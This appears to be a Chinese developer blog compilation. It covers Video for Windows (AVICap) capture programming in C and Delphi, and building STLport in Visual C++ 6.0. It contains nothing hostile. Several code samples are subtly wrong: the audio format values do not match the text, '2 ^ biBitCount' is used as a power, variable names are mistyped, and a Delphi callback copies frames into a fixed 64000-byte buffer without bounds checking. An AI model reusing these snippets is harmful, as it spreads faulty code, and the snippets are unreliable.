Video Format对话框定义视频帧的尺寸以及精度, 视频捕获卡的压缩设置. 如果卡支持的话, 可以发送消息WM_CAP_DLG_VIDEOFORMAT消息或(capDlgVideoFormat宏).

Video Display对话框控制在视频捕获期间在显示器上的显示, 此控制不会影响视频数字数据, 但是他们可能会影响数字信号的表现形式, 例如: 如果捕获设备支持overlay, 可能允许改变色调和饱和度, 关键色彩 或者overlay队列. 如果卡支持, 你可以发送WM_CAP_DLG_VIDEODISPLAY消息(或者使用capDlgVideoDisplay宏).

Video Compression对话框控制压缩品质, 如果卡支持, 发送消息WM_CAP_DLG_VIDEOCOMPRESSION(或capDlgVideoCompression宏).


3.Preview 和 Overlay模式:

一个视频捕获驱动对进入的视频流有两种工作模式: Preview模式和overlay模式, 如果一个捕获驱动能够执行两种方法, 用户可以在其中选择一种.

Preview模式把从捕获硬件传来的数据送入系统内存并使用图形设备介面(GDI)将数字化帧显示在捕获窗口内. 应用程序可以在父窗口失去焦点时减缓显示速度, 当重新又得到焦点后加快显示速度, 此种模式要占用大量CPU时间.

有三种消息控制Preview操作:

WM_CAP_SET_PREIVEW消息(capPreview宏)允许或禁止preview模式

WM_CAP_SET_PREVIEWRATE(capPreviewRate宏)当帧在preview模式显示时设置速度.

WM_CAP_SET_SCALE(capPreviewScale宏)允许或禁止preview视频的缩放比例.

当preview和scaling同时使用, 捕获的视频帧将会根据捕获窗口的尺寸自动缩放, 允许preview模式会自动关闭overlay模式.

overlay模式是一个硬件函数它将数据送入捕获缓冲区中因而不占用CPU资源. 你可以发送消息WM_CAP_SET_OVERLAY(或capOverlay宏)给捕获窗口来启用或终止overlay模式, 允许overlay模式会自动禁止preview模式.

你同时也可以在preview模式或overlay模式里发送WM_CAP_SET_SCROLL消息(或capSetScrollPos宏)来设置视频帧的客户区卷轴位置.


4.视频格式

你 可以通过发送WM_CAP_GET_VIDEOFORMAT消息(或capGetVideoFormat和capGetVideoFormatSize 宏)来得到视频格式的结构或结构的尺寸. 你可以通过发送CAP_SET_VIDEOFORMAT消息(或capSetVideoFormat宏)来设置视频格式.


5.视频捕获设置

CAPTUREPARMS结构包含了对视频捕获流的控制参数, 你可以完成以下这些任务:

指定帧数

指定分配多少视频缓冲

允许或禁止声频捕获

指定捕获的时间间隔

指定在捕获的过程中是否使用MCI设置(VCR或者videodisc)

指定终止流的键盘或鼠标

specify the type of video averaging applied during capture.


得到:WM_CAP_GET_SEQUENCE_SETUP消息(或capCaptureGetSetup宏)

设置:WM_CAP_SET_SEQUENCE_SETUP消息(或capCaptureSetSetup宏)


6.声频格式

你 可以通过发送WM_CAP_GET_AUDIOFORMAT消息(或capGetAudioFormat宏和capGetAudioFormatSize 宏)来得到当前捕获音频数据的格式或尺寸格式。缺省的声频格式是:单声道、8位、11kHz PCM。 当你使用WM_CAP_GET_AUDIOFORMAT时,总是使用WAVEFORMATEX结构。

设置发送消息WM_CAP_SET_AUDIOFORMAT消息(或capSetAudioFormat宏),可以传送WAVEFORMAT,WAVEFORMATEX,PCMWAVEFORMAT结构指针。

五.使用视频捕获

1.创建捕获窗口(Creating a Capture Window)

hWndC = capCreateCaptureWindow (

(LPSTR) "My Capture Window", // window name if pop-up

WS_CHILD | WS_VISIBLE, // window style

0, 0, 160, 120, // window position and dimensions

(HWND) hwndParent,

(int) nID /* child ID */);


2.连接到捕获驱动(Connecting to a Capture Driver)

下面的例子是将MSVIDEO驱动连接到句柄为hWndC的捕获窗口, 然后调用capDriverDisconnect宏来断接.

fOK = SendMessage (hWndC, WM_CAP_DRIVER_CONNECT, 0, 0L);

//

// Or, use the macro to connect to the MSVIDEO driver:

// fOK = capDriverConnect(hWndC, 0);

//

// Place code to set up and capture video here.

//

capDriverDisconnect (hWndC);


3.列举所有已安装的捕获驱动(Enumerating Installed Capture Drivers)

下面的例子使用capGetDriverDescription函数得到已安装的捕获驱动的名称及版本:

char szDeviceName[80];

char szDeviceVersion[80];


for (wIndex = 0; wIndex < 10; wIndex++)

{

if (capGetDriverDescription (wIndex, szDeviceName,

sizeof (szDeviceName), szDeviceVersion,

sizeof (szDeviceVersion))

{

// Append name to list of installed capture drivers

// and then let the user select a driver to use.

}

}


4.得到捕获驱动的性能(Obtaining the Capabilities of a Capture Driver)

发 送WM_CAP_DRIVER_GET_CAPS消息可以得到捕获驱动的性能,并保存入一个CAPDRIVERCAPS结构.每当程序连接一个新的捕获驱 动到一个捕获窗口时, 就应该更新CAPDRIVERCAPS结构. 下面的程序举例说明了如何使用capDriverGetCaps宏来得到捕获驱动的性能:


CAPDRIVERCAPS CapDrvCaps;

SendMessage (hWndC, WM_CAP_DRIVER_GET_CAPS,

sizeof (CAPDRIVERCAPS), (LONG) (LPVOID) &CapDrvCaps);

// Or, use the macro to retrieve the driver capabilities.

// capDriverGetCaps(hWndC, &CapDrvCaps, sizeof (CAPDRIVERCAPS));


5.得到捕获窗口的状态(Obtaining the Status of a Capture Window)

下面的例子使用SetWindowPos函数使捕获窗口与进来的视频流尺寸保持一致, 视频流的基本信息是使用capGetStatus宏得到的, 保存在CAPSTATUS结构中.


CAPSTATUS CapStatus;

capGetStatus(hWndC, &CapStatus, sizeof (CAPSTATUS));

SetWindowPos(hWndC, NULL, 0, 0, CapStatus.uiImageWidth,

CapStatus.uiImageHeight, SWP_NOZORDER | SWP_NOMOVE);


6.显示对话框设置视频特征(Displaying Dialog Boxes to Set Video Characteristics)

每个视频捕获卡一般能提供三个不同的对话框用于控制视频捕获及数字化处理. 下面的例子说明如何显示这些对话框, 在显示这些对话框之前,使用了capDriverGetCaps宏来检查CAPDRIVERCAPS结构, 以检测该卡是否有显示这些对话框:


CAPDRIVERCAPS CapDrvCaps;

capDriverGetCaps(hWndC, &CapDrvCaps, sizeof (CAPDRIVERCAPS));


// Video source dialog box.

if (CapDriverCaps.fHasDlgVideoSource)

capDlgVideoSource(hWndC);


// Video format dialog box.

if (CapDriverCaps.fHasDlgVideoFormat)

{

capDlgVideoFormat(hWndC);

// Are there new image dimensions?

capGetStatus(hWndC, &CapStatus, sizeof (CAPSTATUS));

// If so, notify the parent of a size change.

}


// Video display dialog box.

if (CapDriverCaps.fHasDlgVideoDisplay)

capDlgVideoDisplay(hWndC);


7.得到和设置视频格式(Obtaining and Setting the Video Format)

BITMAPINFO 结构的长度既适应于标准的也适应于压缩的数据格式, 所有程序必须总是询问此结构的尺寸以便在得到当前的视频格式之前分配内存. 下面的例子就是使用capGetVideoFormatSize宏来得到缓冲区尺寸并调用capGetVideoFormat宏来得到当前的视频格式.


LPBITMAPINFO lpbi;

DWORD dwSize;

dwSize = capGetVideoFormatSize(hWndC);

lpbi = GlobalAllocPtr (GHND, dwSize);

capGetVideoFormat(hWndC, lpbi, dwSize);


// Access the video format and then free the allocated memory.


程序可以使用capSetVideoFormat宏(或WM_CAP_SET_VIDEOFORMAT消息)发送一个BITMAPINFO头结构给捕获窗口, 因为视频格式是设备细节, 你的程序应该检查返回值以便确定此格式是否已被接受.


8. 预览视频(Previewing Video)

下面的例子使用capPreviewRate宏来设置每66毫秒显示一帧, 并使用capPreview宏将它放置在捕获窗口里.


capPreviewRate(hWndC, 66); // rate, in milliseconds

capPreview(hWndC, TRUE); // starts preview

// Preview

capPreview(hWnd, FALSE); // disables preview


9.将视频设置为overlay模式(Enabling Video Overlay)

下面的例子: capDriverGetCaps宏确定此捕获卡是否有overlay功能, 如果有就使用宏来设置它


CAPDRIVERCAPS CapDrvCaps;

capDriverGetCaps(hWndC, &CapDrvCaps, sizeof (CAPDRIVERCAPS));


if (CapDrvCaps.fHasOverlay)

capOverlay(hWndC, TRUE);


10.命名捕获文件(Naming the Capture File)

下面的例子: 使用capFileSetCaptureFile宏来指定预备文件名为:MYCAP.AVI, capFileAlloc宏预先指定它的大小为5M.


char szCaptureFile[] = "MYCAP.AVI";

capFileSetCaptureFile( hWndC, szCaptureFile);

capFileAlloc( hWndC, (1024L * 1024L * 5));


11.格式化声频捕获(Formatting Audio Capture)

下面的例子使用capSetAudioFormat来设置声频格式为:11kHz, PCM 8位, 立体声


WAVEFORMATEX wfex;

wfex.wFormatTag = WAVE_FORMAT_PCM;

wfex.nChannels = 2; // Use stereo

wfex.nSamplesPerSec = 11025;

wfex.nAvgBytesPerSec = 22050;

wfex.nBlockAlign = 2;

wfex.wBitsPerSample = 8;

wfex.cbSize = 0;


capSetAudioFormat(hWndC, &wfex, sizeof(WAVEFORMATEX));


12.改变视频捕获设置(Changing a Video Capture Setting)

下面的例子使用capCaptureGetSetup和capCaptureSetSetup宏得将捕获帧数从缺省的15帧改成每秒10帧.


CAPTUREPARMS CaptureParms;

float FramesPerSec = 10.0;


capCaptureGetSetup(hWndC, &CaptureParms, sizeof(CAPTUREPARMS));


CaptureParms.dwRequestMicroSecPerFrame = (DWORD) (1.0e6 /FramesPerSec);

capCaptureSetSetup(hWndC, &CaptureParms, sizeof (CAPTUREPARMS));


13.捕获数据(Capturing Data)

下面的例子使用capCaptureSequence宏来开始捕获视频并使用capFileSaveAs宏来将捕获的数据拷贝至NEWFILE.AVI文件中.


char szNewName[] = "NEWFILE.AVI";

// Set up the capture operation.

capCaptureSequence(hWndC);

// Capture.

capFileSaveAs(hWndC, szNewName);


14.增加一个信息块(Adding an Information Chunk)

如 果你需要在你的程序捕获的声频和视频数据中加入你的其他信息, 你可以创建一个信息块并将它们插入捕获文件中, 信息块可以包含一些典型的信息, 例如:版权信息,视频来源, 外部定位信息等. 下面的例子使用capFileSetInfoChunk宏来插入一个信息块, 里面包含了一个SMPTE的时间代码.


// This example assumes the application controls

// the video source for preroll and postroll.

CAPINFOCHUNK cic;

// .

// .

// .

cic.fccInfoID = infotypeSMPTE_TIME;

cic.lpData = "00:20:30:12";

cic.cbData = strlen (cic.lpData) + 1;

capFileSetInfoChunk (hwndC, &cic);


15.在程序中加入一个回调函数(Adding Callback Functions to an Application)

一个程序可以为捕获窗口登记一个回调函数以便在以下的这些情况下通知程序.


状态改变

错误发生

视频框架和声频缓冲区变得可用

程序应用在捕获视频流的过程中接收


下面的例子创建一个捕获窗口并登记状态,错误,视频流和框架回调函数在消息处理对列中, 也包括了一个终止回调函数的说明.


case WM_CREATE:

{

char achDeviceName[80]

char achDeviceVersion[100]

char achBuffer[100]

WORD wDriverCount = 0

WORD wIndex

WORD wError

HMENU hMenu


// Create a capture window using the capCreateCaptureWindow macro.

ghWndCap = capCreateCaptureWindow((LPSTR)"Capture Window",

WS_CHILD | WS_VISIBLE, 0, 0, 160, 120, (HWND) hWnd, (int) 0);


// Register the error callback function using the

// capSetCallbackOnError macro.

capSetCallbackOnError(ghWndCap, fpErrorCallback);


// Register the status callback function using the

// capSetCallbackOnStatus macro.

capSetCallbackOnStatus(ghWndCap, fpStatusCallback);


// Register the video-stream callback function using the

// capSetCallbackOnVideoStream macro.

capSetCallbackOnVideoStream(ghWndCap, fpVideoCallback);


// Register the frame callback function using the

// capSetCallbackOnFrame macro.

capSetCallbackOnFrame(ghWndCap, fpFrameCallback);


// Connect to a capture driver


break;

}

case WM_CLOSE:

{

// Use the capSetCallbackOnFrame macro to

// disable the frame callback. Similar calls exist for the other

// callback functions.


capSetCallbackOnFrame(hWndC, NULL);


break;

}


16.创建一个状态回调函数(Creating a Status Callback Function)

下面的例子是创建一个简单的状态回调函数,登记此回调函数使用capSetCallbackOnStatus宏.


// StatusCallbackProc: status callback function

// hWnd: capture window handle

// nID: status code for the current status

// lpStatusText: status text string for the current status

//

LRESULT PASCAL StatusCallbackProc(HWND hWnd, int nID,

LPSTR lpStatusText)

{

if (!ghWndMain)

return FALSE;


if (nID == 0) { // Clear old status messages.

SetWindowText(ghWndMain, (LPSTR) gachAppName);

return (LRESULT) TRUE;

}

// Show the status ID and status text...

wsprintf(gachBuffer, "Status# %d: %s", nID, lpStatusText);


SetWindowText(ghWndMain, (LPSTR)gachBuffer);

return (LRESULT) TRUE;

}


17.创建一个错误回调函数( Creating an Error Callback Function)

下面的例子是创建一个简单的错误回调函数,登记此回调函数使用capsetCallbackOnError宏:


// ErrorCallbackProc: error callback function

// hWnd: capture window handle

// nErrID: error code for the encountered error

// lpErrorText: error text string for the encountered error

//

LRESULT PASCAL ErrorCallbackProc(HWND hWnd, int nErrID,

LPSTR lpErrorText)

{

if (!ghWndMain)

return FALSE;


if (nErrID == 0) // Starting a new major function.

return TRUE; // Clear out old errors.


// Show the error identifier and text.

wsprintf(gachBuffer, "Error# %d", nErrID);


MessageBox(hWnd, lpErrorText, gachBuffer,

MB_OK | MB_ICONEXCLAMATION);


return (LRESULT) TRUE;

}


18.创建一个框架回调函数(Creating a Frame Callback Function)

登记此回调函数使用capSetCallbackOnFrame宏:


// FrameCallbackProc: frame callback function

// hWnd: capture window handle

// lpVHdr: pointer to struct containing captured

// frame information

//

LRESULT PASCAL FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr)

{

if (!ghWndMain)

return FALSE;


wsprintf(gachBuffer, "Preview frame# %ld ", gdwFrameNum++);

SetWindowText(ghWndMain, (LPSTR)gachBuffer);

return (LRESULT) TRUE

}

 

六.将四个标准对话框改成函数调用形式

系统提供了四个标准的对话框:AudioFormat, VideoFormat, VideoSource, Video Compression,但有时程序希望通过函数控制它们,而不是使用系统提供的那个单一的对话框,此时就应该使用函数调用的方法:


AudioFormat对话框

可以通过使用capSetAudioFormat来实现,此时要使用WAVEFORMATEX结构。

例如:改成PCM格式,立体声,16声道,12.05kHz,则:

WAVEFORMATEX audioFormat;

// 确定宽度

acmMetrics(NULL, ACM_METRIC_MAX_SIZE_FORMAT,&dwSize);

dwSize = max (dwSize, capGetAudioFormatSize (m_hwCapCapturing));

// 设置参数

audioFormat.wFormatTag = WAVE_FORMAT_PCM;

audioFormat.nChannels = 2;

audioFormat.nSamplesPerSec = 120500;

audioFormat.wBitsPerSample =16;

audioFormat.nBlockAlign = nBitsPerSample * nChannels / 8;

audioFormat.nAvgBytesPerSec =

audioFormat.nBlockAlign * nSamplesPerSec;

// 更新

capSetAudioFormat(ghCapWnd,&audioFormat,dwSize);

VideoFormat对话框

可以通过使用capSetVideoFormat来实现,此时要使用BITMAPINFOHEADER结构。

例如:设置图片大小为RGB24位岁,大小为230X160

BITMAPINFOHEADER bi;

DWORD dwSize,dw;

bi.biSize = sizeof(BITMAPINFOHEADER);

bi.biWidth = 320; // 起作用

bi.biHeight = 160; // 起作用

bi.biPlanes = 1;

bi.biBitCount = 24;

bi.biCompression = BI_RGB;

bi.biSizeImage = 0;

bi.biXPelsPerMeter = 176;

bi.biYPelsPerMeter = 144;

bi.biClrUsed = 0;

bi.biClrImportant = 0;

dwSize = bi.biSize + ((bi.biBitCount > 8 || bi.biClrUsed) ? (bi.biClrUsed * sizeof(PALETTEENTRY)) : (2 ^ bi.biBitCount * sizeof(PALETTEENTRY)));

dw = capSetVideoFormat(m_hwCapCapturing, &bi, dwSize);

VideoSource对话框

没有找到现成的方法,但视频捕获卡提供的CD里面有一个动态链接库可以实现。

Video Compression对话框

可以通过使用ICOpen,ICInfo等函数联合起来,得到当前系统里面的视频压缩驱动的列表,并可选择其一,MSDN里面有一个程序示范了此用户,程序名叫:ICWalk。

--------------------------------------------------------------------------------


用Delphi开发视频捕获程序

华东地质学院2000级研究生班 342信箱(344000) 杨 锐

--------------------------------------------------------------------------------

在 许多关于视频的软件(如视频会议、可视电话等)开发中,都应用了视频捕获技术。微软为软件开发人员提供了一个专门用于视频捕获的VFW (Video for Windows) SDK。VFW SDK为在Windows系统中实现视频捕获提供了标准的接口,从而大大降低了程序的开发难度。由于VFW SDK只有VC和VB版,没有Delphi版,因此需要在Delphi中一一声明DLL中的各个函数和变量(可以参考MSDN中的VC的函数声明以及变量 定义)。本文分3部分介绍如何利用VFW在Delphi中开发视频捕获程序。

VFW简介

VFW 是微软公司1992年推出的关于数字视频的一个软件包,它能使应用程序通过数字化设备从传统的模拟视频源得到数字化的视频剪辑。VFW的一个关键思想是播 放时不需要专用硬件,为了解决数字视频数据量大的问题,需要对数据进行压缩。它引进了一种叫AVI的文件标准,该标准未规定如何对视频进行捕获、压缩及播 放,仅规定视频和音频该如何存储在硬盘上,以及在AVI文件中交替存储视频帧和与之相匹配的音频数据。VFW使程序员能通过发送消息或设置属性来捕获、播 放和编辑视频剪辑。在Windows 9x系统中,当用户在安装VFW时,安装程序会自动地安装配置视频所需要的组件,如设备驱动程序、视频压缩程序等。

VFW主要由以下6个模块组成:

●AVICAP.DLL:包含执行视频捕获的函数,它给AVI文件的I/O处理和视频、音频设备驱动程序提供一个高级接口;

●MSVIDEO.DLL:包含一套特殊的DrawDib函数,用来处理屏幕上的视频操作;

●MCIAVI.DRV:包括对VFW的MCI命令解释器的驱动程序;

●AVIFILE.DLL:包含由标准多媒体I/O(mmio)函数提供的更高的命令,用来访问.AVI文件;

●压缩管理器(ICM):用于管理的视频压缩/解压缩的编译码器(Codec);

●音频压缩管理器ACM:提供与ICM相似的服务,适用于波形音频。

开发步骤

AVICap 窗口类支持实时的视频流捕获和单帧捕获,并提供对视频源的控制。虽然MCI也提供数字视频服务(比如它为显示.AVI文件的视频提供了AVI VIDEO命令集),为视频叠加提供了Overlay命令集,但这些命令主要是基于文件的操作,它们不能满足实时地从视频缓存中取数据的要求, 对于使用没有视频叠加能力的捕获卡的PC机来说, 用MCI提供的命令集是无法捕获视频流的。而AVICap窗口类在捕获视频方面具有一定的优势,它能直接访问视频缓冲区,不需要生成中间文件,实时性很 强,效率很高。而且,它还可将数字视频捕获到一个文件中。

1.创建"捕获窗"

在进行视频捕获之前必需要先创建一个"捕获窗",并以它为基础进行所有的捕获及设置操作。"捕获窗"用AVICap窗口类的"CapCreateCaptureWindow"函数来创建,其窗口风格一般为WS_CHILD和WS_VISIBLE。

捕获窗类似于标准控件(如按钮、列表框等),并具有下列功能:

●将视频流和音频流捕获到一个AVI文件中;

●动态地同视频和音频输入器件连接或断开;

●以Overlay或Preview模式对输入的视频流进行实时显示;

●在捕获时,可指定所用的文件名并能将捕获文件的内容拷贝到另一个文件;

●设置捕获速率;

●显示控制视频源、视频格式、视频压缩的对话框;

●创建、保存或载入调色板;

●将图像和相关的调色板拷贝到剪贴板;

●将捕获的单帧图像保存为DIB格式的文件。

2.关联捕获窗和驱动程序

单独定义的一个捕获窗是不能工作的,它必需与一个设备相关联,这样才能取得视频信号。用函数CapDriverConnect可使一个捕获窗与一个设备驱动程序相关联。

3.设置视频设备的属性

通 过设置TcaptureParms结构变量的各个成员变量,可以控制设备的采样频率、中断采样按键、状态行为等等。设置好TCaptureParms结构 变量后,可以用函数CapCaptureSetSetup使设置生效。之后还可以用CapPreviewScale、CapPreviewRate来设置 预览的比例与速度,也可以直接使用设备的默认值。

4.打开预览

利用函数CapOverlay选择是否采用叠加模式预览,这样占用系统资源小,并且视频显示速度快。然后用CapPreview启动预览功能,这时就可以在屏幕上看到来自摄像机的图像了。

通过以上4步就可以建立一个基本的视频捕获程序。但如果想自已处理从设备捕获到的视频数据,则要使用捕获窗回调函数来处理,比如一帧一帧地获得视频数据或以流的方式获得视频数据等等。

实例编程

下面以一个一帧一帧地从视频设备上捕获视频数据的Delphi程序为例,来说明每个函数的作用以及开发过程。

该程序的功能是可以在屏幕上显视捕获到的视频,并可以获得每一帧的图像数据。

新建一个工程,并将AVICAP32.PAS包含到USES中。

在Form1上放置一个TPanel控件,设Name为"gCapVideoArea",该控件用于显示视频。再放置两个TButton控件,一个Name为"Openvideo",另一个Name为"Closevideo"。

定义全局变量:

var

//定义捕获窗句柄

ghCapWnd: THandle;

//可以得到视频数据指针的结构变量,用于回调函数中

VideoStr: LPVIDEOHDR;

//用于设置设备属性的结构变量

CapParms: TCaptureParms;

在Name为"Openvideo"的TButton 的Click事件中写入以下代码:

procedure TForm1.OpenvideoClick(Sender: TObject);

begin

//使用Tpanel控件来创建捕获窗口

ghCapWnd := CapCreateCaptureWindow

( PChar('KruwoSoft'), //捕获窗口的名字

WS_CHILD or WS_VISIBLE,//窗口样式

0, //X坐标

0, //Y坐标

gCapVideoArea.Width, //窗口宽

gCapVideoArea.Height, //窗口高

gCapVideoArea.Handle, //窗口句柄

0); //一般为0

{为了能够捕获视频帧,要启动一个捕获帧回调函数VideoStreamCallBack。捕获一个视频流或当前设备状态时分别使用以下函数:

//捕获一个视频流

CapSetCallbackOnVideoStream;

//得到一个设备错误

CapSetCallbackOnError;

//得到一个设备状态

CapSetCallbackOnStatus

}

//定义一个帧捕获回调函数

CapSetCallbackOnFrame (ghCapWnd,LongInt(@VideoStreamCallBack));

//将一个捕获窗口与一个设备驱程相关联,第二个参数是个序号,当系统中装有多个显视驱动程序时,其值分别依次为0到总个数

CapDriverConnect(ghCapWnd, 0);

//设置设备属性的结构变量

CapParms.dwRequestMicroSecPerFrame:=40000;

CapParms.fLimitEnabled := FALSE;

CapParms.fCaptureAudio := FALSE; // NO Audio

CapParms.fMCIControl := FALSE;

CapParms.fYield := TRUE;

CapParms.vKeyAbort := VK_ESCAPE;

CapParms.fAbortLeftMouse := FALSE;

CapParms.fAbortRightMouse := FALSE;

//使设置生效

CapCaptureSetSetup(ghCapWnd,LongInt(@CapParms),sizeof(TCAPTUREPARMS));

//设置预览时的比例

CapPreviewScale(ghCapWnd, 1);

//设置预览时的帧频率

CapPreviewRate(ghCapWnd,66);

//如果要捕获视频流,则要使用函数指定不生成文件。否则将会自动生成AVI文件

CapCaptureSequenceNoFile(ghCapWnd);

//指定是否使用叠加模式,使用为1,否则为0

CapOverlay(ghCapWnd, 1);

//打开预览

CapPreview(ghCapWnd, 1);

end;

在Name为"Closevideo"的TButton 的Click事件中写入以下代码:

procedure TForm1.ClosevideoClick(Sender: TObject);

begin

//停止捕获

capCaptureAbort(ghCapWnd);

//将捕获窗同驱动器断开

capDriverDisconnect(ghCapWnd);

end;

定义捕获帧回调函数:

function FrameCallBack(hWnd:HWND; lpVHdr:LongInt) :LongInt; stdcall;

var

DataPoint:^byte;

DibLen,RectWidth,RectHeight:integer;

begin

//转换从回调函数中得到的指针

VideoStr:=LPVIDEOHDR(lpVHdr);

//得到返回的数据大小

DibLen:=VideoStr^.dwBufferLength;

GetMem(DataPoint,64000);

//将帧数据COPY到一个内存中,注意DATAPOINT要先分配空间

CopyMemory(DataPoint,VideoStr^.lpData,Diblen);

//一些其他处理

……

end;

灵活地使用AVICap窗口类的回调函数可以满足各种不同的需求,但要注意从视频卡中捕获的视频数据的格式和图像的长宽要参考视频卡的参数。而且有些视频卡通过设置可支持多种的格式和图像长宽,所以在还原图像时要注意参考所用的视频卡的参数。

--------------------------------------------------------------------------------


视频采集,存成avi
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls;

type
TForm1 = class(TForm)
Panel1: TPanel;
OpenVideo: TButton;
CloseVideo: TButton;
GrabFrame: TButton;
SaveBMP: TButton;
StartAVI: TButton;
StopAVI: TButton;
SaveDialog1: TSaveDialog;
procedure FormCreate(Sender: TObject);
procedure OpenVideoClick(Sender: TObject);
procedure CloseVideoClick(Sender: TObject);
procedure GrabFrameClick(Sender: TObject);
procedure SaveBMPClick(Sender: TObject);
procedure StartAVIClick(Sender: TObject);
procedure StopAVIClick(Sender: TObject);
private
{ Private declarations }
hWndC : THandle;
CapturingAVI : bool;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

const WM_CAP_START = WM_USER;
const WM_CAP_STOP = WM_CAP_START + 68;
const WM_CAP_DRIVER_CONNECT = WM_CAP_START + 10;
const WM_CAP_DRIVER_DISCONNECT = WM_CAP_START + 11;
const WM_CAP_SAVEDIB = WM_CAP_START + 25;
const WM_CAP_GRAB_FRAME = WM_CAP_START + 60;
const WM_CAP_SEQUENCE = WM_CAP_START + 62;
const WM_CAP_FILE_SET_CAPTURE_FILEA = WM_CAP_START + 20;

function capCreateCaptureWindowA(lpszWindowName : PCHAR;
dwStyle : longint;
x : integer;
y : integer;
nWidth : integer;
nHeight : integer;
ParentWin : HWND;
nId : integer): HWND;
STDCALL EXTERNAL 'AVICAP32.DLL';

procedure TForm1.FormCreate(Sender: TObject);
begin
CapturingAVI := false;
hWndC := 0;
SaveDialog1.Options :=
[ofHideReadOnly, ofNoChangeDir, ofPathMustExist]
end;

procedure TForm1.OpenVideoClick(Sender: TObject);
begin
hWndC := capCreateCaptureWindowA('My Own Capture Window',
WS_CHILD or WS_VISIBLE ,
Panel1.Left,
Panel1.Top,
Panel1.Width ,
Panel1.Height,
Form1.Handle,
0);
if hWndC <> 0 then
SendMessage(hWndC, WM_CAP_DRIVER_CONNECT, 0, 0);
end;

procedure TForm1.CloseVideoClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_DRIVER_DISCONNECT, 0, 0);
hWndC := 0;
end;
end;

procedure TForm1.GrabFrameClick(Sender: TObject);
begin
if hWndC <> 0 then
SendMessage(hWndC, WM_CAP_GRAB_FRAME, 0, 0);
end;

procedure TForm1.SaveBMPClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SaveDialog1.DefaultExt := 'bmp';
SaveDialog1.Filter := 'Bitmap files (*.bmp)|*.bmp';
if SaveDialog1.Execute then
SendMessage(hWndC,
WM_CAP_SAVEDIB,
0,
longint(pchar(SaveDialog1.FileName)));
end;
end;

procedure TForm1.StartAVIClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SaveDialog1.DefaultExt := 'avi';
SaveDialog1.Filter := 'AVI files (*.avi)|*.avi';
if SaveDialog1.Execute then begin
CapturingAVI := true;
SendMessage(hWndC,
WM_CAP_FILE_SET_CAPTURE_FILEA,
0,
Longint(pchar(SaveDialog1.FileName)));
SendMessage(hWndC, WM_CAP_SEQUENCE, 0, 0);
end;
end;
end;

procedure TForm1.StopAVIClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_STOP, 0, 0);
CapturingAVI := false;
end;
end;
end.

2月25日

Visual C++ 6.0 环境中使用 STLport

(原创,请勿转载;参考孟岩《在 Borland C++ 及 Visual C++ 环境中使用 STLport》一文)

假定你使用的Windows装在C:\Windows目录。VC装在 C:\Program Files\Microsoft Visual Studio\VC98;而STLport原包置于C:\STL4VC。

C:\STL4VC中应该有以下内容:
<目录> doc
<目录> lib
<目录> src
<目录> stlport
<目录> test
文件 ChangLog
文件 Install
文件 Readme
文件 Todo

同时确保C:\Program Files\Microsoft Visual Studio\VC98\bin在你的Path环境变量中。

下面一步步来:

0. 本次配置任务均在DOS命令状态下完成,请先从"开始"-->"附件"菜单中选中MS-DOS方式,打开一个DOS窗口。

1. 到C:\Program Files\Microsoft Visual Studio\VC98中,利用你顺手的文本编辑器修改两个文件vcvars32.bat,其中有两行

set INCLUDE=%MSVCDir%\ATL\INCLUDE;%MSVCDir%\INCLUDE;%MSVCDir%\MFC\INCLUDE;%INCLUDE%
set LIB=%MSVCDir%\LIB;%MSVCDir%\MFC\LIB;%LIB%

改成:

set INCLUDE=C:\STL4VC\stlport;%MSVCDir%\ATL\INCLUDE;%MSVCDir%\INCLUDE;\
%MSVCDir%\MFC\INCLUDE;%INCLUDE%
set LIB=C:\STL4VC\lib;%MSVCDir%\LIB;%MSVCDir%\MFC\LIB;%LIB%

上面为了方面阅读用 "\" 符号将过长的一行折成两行,实际文件中还是一行。

修改完毕後保存,然後执行命令vcvars32。一切顺利的话应该给出一行结果:

Setting environment for using Microsoft Visual C++ tools.

如果你预设的DOS环境空间不足,这个BAT文件执行中可能导致环境空间overflow,此时应该在DOS窗口的"属性"对话框中找到"内存"页,修改"初始环境"ComboBox,改为一个较大的值,如1280或2048。然後再次开一个DOS窗口, 运行vcvars32.bat。

2. 进入到C:\STL4VC\SRC目录中。

3. 执行命令nmake -f vc6.mak clean all

VC编译STLport的过程较长。请务必保持耐心,这实际上是在以不同编译开关建立不同性质的目标库。

4. 经过一段漫长的编译之後, 终於结束了。现在你再执行命令nmake -f vc6.mak install

5. OK,大功告成。下面一步应该是检验一下事不是真的用上了SGI STL。跟上面BCB的过程差不多,找一个使用了SGI STL特性的程序,比如使用rope, slist, hash_set, hash_map等容器的程序来编译。注意,编译时务必使用下面的格式:

cl /GX /MT program.cpp

SGI STL中大量使用try..throw..catch,VC缺省情况下不支持此语法,/GX是要求VC++ Compiler打开对异常处理语法的支持。/MT则是要求VC的linker本程序obj文件与libcmt.lib连接在一起,因为SGI STL是thread-safe的,必须以multi-thread形式运行。

若要在图形界面中使用SGI STL,可在VC中调整Project-->Setting(Alt+F7), 设置编译选项,注意使用/MT和/GX,并且引入选项/Ic:\stl4vc\stlport及/libpath:c:\stl4vc\lib 或者在 options-->diretories下的include files中加入路径C:\Program Files\Microsoft Visual Studio\VC98\include\stlport并将其置顶。

整个过程在笔者的老式CeleronM1400机器上运行10minute。全部完成後,C:\STL4VC这个目录的体积也由原来的区区4.4M膨胀到可怕的160M,当然这其中有120M是编译过程中产生的.obj文件,如果你确信自己的STLport工作正常的话,可以删掉它们,省出硬盘空间。不过这样一来,下次若再编译,就只好再等很长时间。如果你正确完成了install的操作,并在 options-->diretories下的include files中加入路径C:\Program Files\Microsoft Visual Studio\VC98\include\stlport并将其置顶,那么你完全可以删除这个c:\stl4vc文件夹。

 
 
2月7日

自我管理数据缓冲区内存(Self-manage data buffer memory)

http://www-128.ibm.com/developerworks/linux/library/wa-memmng/

开发具有高效性、简单性、可移植性和安全性的代码

级别: 初级

Xiaoming Zhang (zhang@uk.ibm.com ), 高级软件工程师, IBM 英国实验室

